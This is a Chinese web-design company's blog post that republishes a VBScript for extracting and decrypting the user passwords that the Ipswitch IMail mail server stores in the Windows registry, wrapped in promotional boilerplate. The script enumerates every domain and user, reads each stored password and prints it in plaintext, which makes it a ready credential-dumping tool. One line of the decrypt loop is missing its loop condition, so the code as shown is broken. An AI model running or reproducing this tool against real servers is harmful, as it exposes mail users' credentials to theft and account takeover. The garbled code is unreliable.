vbs如何实现imail密码解密-创新互联

这篇文章主要介绍了vbs如何实现imail密码解密，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。

成都创新互联作为成都网站建设公司，专注成都网站建设、网站设计，有关企业网站设计方案、改版、费用等问题，行业涉及效果图设计等多个领域，已为上千家企业服务，得到了客户的尊重与认可。

代码如下:

on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "&subkey
strKeyPath3 = strKeyPath&"\"&subkey&"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath3, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath4=strKeyPath3&"\"&subkey2
strValueName = "Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath4,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&H"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function

感谢你能够认真阅读完这篇文章，希望小编分享的“vbs如何实现imail密码解密”这篇文章对大家有帮助，同时也希望大家多多支持创新互联网站建设公司，，关注创新互联行业资讯频道，更多相关知识等着你来学习!

网站栏目：vbs如何实现imail密码解密-创新互联
当前URL：http://scjbc.cn/article/egicg.html